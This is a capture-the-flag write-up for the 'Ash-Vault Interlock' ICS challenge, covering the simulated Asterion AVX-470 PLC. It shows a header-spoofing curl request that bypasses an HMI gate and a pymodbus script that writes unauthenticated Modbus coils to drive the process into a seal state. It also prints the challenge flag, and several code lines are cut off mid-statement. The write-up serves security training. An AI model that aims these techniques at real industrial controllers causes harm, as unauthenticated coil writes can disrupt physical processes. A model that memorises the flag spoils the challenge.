Cyber Apocalypse 2026 — ICS — Ash-Vault Interlock

Category: ICS (Industrial Control Systems) **Challenge:** Ash-Vault Interlock **Flag:** `HTB{4sh_v4ult_1nt3rl0ck_s3aled_c5564fefe2f1ffe6231dd99c2b1a631d}`

---

1. Challenge Overview

> Stormbound engineers reached the lower Crownspire brineworks after alarms echoed through the Ash Vault tunnels. The old seal is still guarded by a forgotten HMI and interlock PLC. The PLC exposes a Modbus/TCP control surface alongside the HMI, so players must recover enough process and ladder-logic context to operate it safely. Regain enough control to stop the unstable automatic cycle, manipulate the brine process into the seal-ready state, and trigger the final seal alarm that reveals the checkpoint token in the alarm table.

Two network services are exposed:

Service	Port	Description
HMI (HTTP)	`154.57.164.79:31601`	`BaseHTTP/0.6 Python/3.12.3` — web operator panel for the *Asterion Controls AVX-470 Interlock PLC*
Modbus/TCP	`154.57.164.79:31061`	The PLC control surface (coils + registers)

The objective is to drive the simulated brine process into a "seal-ready" state so the PLC latches the **AVX900 seal alarm**, which prints the token into the alarm table.

---

2. Reconnaissance

2.1 The HMI

Fetching the HMI root returns a canvas-based process mimic. The interesting part is the client script `/static/hmi.js`, which reveals:

- The HMI polls `GET /status.json` (a compact JSON PLC image).
- A `normalizeStatus()` function that documents the full meaning of every field.
- Two custom headers: `js const ENGINEERING_SOURCE_HEADER = "X-Engineering-Station"; const TRUSTED_ENGINEERING_STATION = "AVX-EWS-01";`

`status.json` (compact form) decodes as:

```
{"m":"AUTO",
 "p":[level, pressure, auto_raw, feed, drain, vent, recirc, motor_A,
 "o":[inlet_open, drain_open, vent_open, pump_running, seal_commanded
 "s":[manual_active, pressure_hi_latch, reset_permissive, seal_stable
      lt204_stuck_low, seal_token_alarm_active, bad_sequence_latch],
 "t":[seal_stable_scans, last_trip_code, plc_scan_counter],
 "a":[alarm strings...]}
```

Initial state: `mode=AUTO`, `level=100%`, `pressure=76.6 kPa`, `PT301 pressure-high latch active`, `LT204 vessel level high`.

2.2 Modbus/TCP enumeration

Using `pymodbus`:

- **Device identification** (function 0x2B / MEI): `Asterion Controls / AVX-470 / 4.7.12`, application `Ash-Vault Brine Interlock`.
- **Coils 0–7** are writable command bits.
- **Holding / input registers** mirror the scaled process image (level ×10, pressure ×10, etc.).

2.3 Recovering the ladder logic (the key step)

Directory hunting on the HMI showed a telling difference:

```
/ladder.txt      -> 403 Forbidden   (exists but gated)
everything else  -> 404 Not Found
```

The `403` (not `404`) plus the engineering-station constant from `hmi.js` pointed straight at the gate. Requesting it as the trusted engineering workstation unlocks the ladder export:

```
curl -H 'X-Engineering-Station: AVX-EWS-01' http://154.57.164.79:3160
```

This returns the full **RLL ladder logic** for `RLL_ASH_VAULT_MAIN`, including the command-coil map.

---

3. Understanding the Control Logic

Command coils (Modbus coils 0–7)

Coil	Tag	Meaning
C00000	`AUTO_ENABLE`	Selects AUTO mode
C00001	`MANUAL_ARM`	Arms MANUAL mode
C00002	`FV101_INLET_OPEN_CMD`	Brine inlet valve
C00003	`DV201_DRAIN_OPEN_CMD`	Drain valve
C00004	`PV301_VENT_OPEN_CMD`	Vent valve
C00005	`P401_RECIRC_PUMP_CMD`	Recirculation pump
C00006	`RESET_PRESSURE_LATCH_PULSE`	One-shot latch reset
C00007	`ASH_VAULT_SEAL_CMD`	Seal command

Relevant rungs

- **RUNG 000 – Mode arbitration:** `AUTO_ACTIVE = C0`; `MANUAL_ACTIVE = (NOT C0) AND C1`. So MANUAL requires **AUTO off + MANUAL armed**.
- **RUNG 004/006 – The unstable auto cycle:** `LT204_AUTO_RAW_LOW = (auto_raw < 18)`. The auto raw channel is stuck at 12% (`lt204_stuck_low`),

so in AUTO the inlet keeps demanding open → vessel floods to 100% → over-pressure. This is the "unstable automatic cycle."
- **RUNG 020 – Fault latches:** `PT301 >= 72 kPa` latches `PRESSURE_HI_LATCH`. Commanding the seal while the latch is set, or while not in MANUAL, latches `BAD_SEQUENCE_LATCH` — a trap.
- **RUNG 030 – Reset permissive:** requires **MANUAL, all valves closed, pump running, 22 ≤ PT301 ≤ 45, 35 ≤ LT204 ≤ 65**.
- **RUNG 044 – Latch reset:** pulsing C6 **with** reset permissive → unlatches the pressure latch and clears the trip code. Pulsing C6 **without** permissive → sets `BAD_SEQUENCE_LATCH` and trip code 310 (another trap).
- **RUNG 052 – Seal window:** requires **MANUAL, no pressure latch, no bad-sequence latch, C7 seal cmd, all valves closed, pump running, 28 ≤ PT301 ≤ 36, 38 ≤ LT204 ≤ 54**.
- **RUNG 054/055 – Seal proof timer:** a `CTU` counts scans while the seal window holds; at **10** scans (`C5:0/DN`) it latches `AVX900_SEAL_TOKEN_ALARM`, which prints the token into the alarm table.

Target operating point (center of both permissive and seal windows): pressure ≈ 32 kPa, level ≈ 46–50 %.

---

4. Exploitation

Process dynamics observed while driving the coils:

- Closing the inlet lets pressure passively decay.
- Opening the drain lowers level ~1.4 %/scan and pulls pressure to ~19 kPa.
- Closing the drain (pump running) lets pressure settle back to a level-dependent equilibrium (~32 kPa at level ≈ 49 %).

Sequence

1. **Stop the auto cycle → MANUAL:** `C0=0, C1=1`, keep pump `C5=1`, all valves closed. Inlet stops, pressure begins to fall.
2. **Drop the level:** open drain `C3=1` until `level ≈ 50 %`, then close it (`C3=0`).
3. **Let pressure settle** with all valves closed + pump running → `pressure ≈ 32 kPa`, `level ≈ 49 %`. `RESET_PERMISSIVE` goes **True**.
4. **Clear the pressure latch:** pulse `C6=1` then `C6=0`. `PRESSURE_HI_LATCH` clears, trip code → 0, alarms clear.

5. **Command the seal:** `C7=1`. With every seal-window condition met, `SEAL_STABLE_WINDOW` holds and the proof timer counts to **10/10**.
6. **AVX900 latches** → the token appears in the alarm table.

Solve script

```
from pymodbus.client import ModbusTcpClient
import json, urllib.request, time

HOST="154.57.164.79"; MB=31061; WEB=31601
c=ModbusTcpClient(HOST, port=MB, timeout=5); c.connect()

def status():
    req=urllib.request.Request(f"http://{HOST}:{WEB}/status.json",
                               headers={"X-Requested-With":"AVX-HMI"}
    return json.load(urllib.request.urlopen(req, timeout=5))
def w(coil,val): c.write_coil(coil, bool(val))

# 1) MANUAL mode, pump on, valves closed
for coil,val in [(0,0),(1,1),(2,0),(3,0),(4,0),(5,1),(6,0),(7,0)]: w(
time.sleep(1.5)

# 2) drain to ~50%
w(3,1)
while status()['p'][0] > 50: time.sleep(1.2)
w(3,0)

# 3) wait for reset permissive (pressure settles ~32 kPa)
while not status()['s'][2]: time.sleep(1.2)

# 4) pulse pressure-latch reset
w(6,1); time.sleep(1.3); w(6,0); time.sleep(1.3)
assert not status()['s'][1]   # pressure latch cleared

# 5) command seal, wait for token alarm
w(7,1)
while not status()['s'][5]:
```

```
    time.sleep(1.2)
print("\n".join(status()['a']))
```

Result

```
AVX900 ASH-VAULT SEAL MADE - TOKEN HTB{4sh_v4ult_1nt3rl0ck_s3aled_c55
```

---

5. Flag

```
HTB{4sh_v4ult_1nt3rl0ck_s3aled_c5564fefe2f1ffe6231dd99c2b1a631d}
```

---

6. Notes / Takeaways

- **Information disclosure via a weak header gate:** the ladder export was protected only by a client-visible `X-Engineering-Station: AVX-EWS-01` header leaked in `hmi.js`. A `403` vs `404` distinction during enumeration is what flagged the hidden file.
- **Insecure Modbus by design:** unauthenticated coil writes let any client drive the process — the classic ICS weakness.
- **Interlock traps:** the ladder deliberately punishes wrong sequencing (commanding the seal before clearing the latch, or resetting without permissive sets `BAD_SEQUENCE_LATCH` / trip 310). Reading the ladder first and respecting the permissive/window bands is what makes the solve deterministic.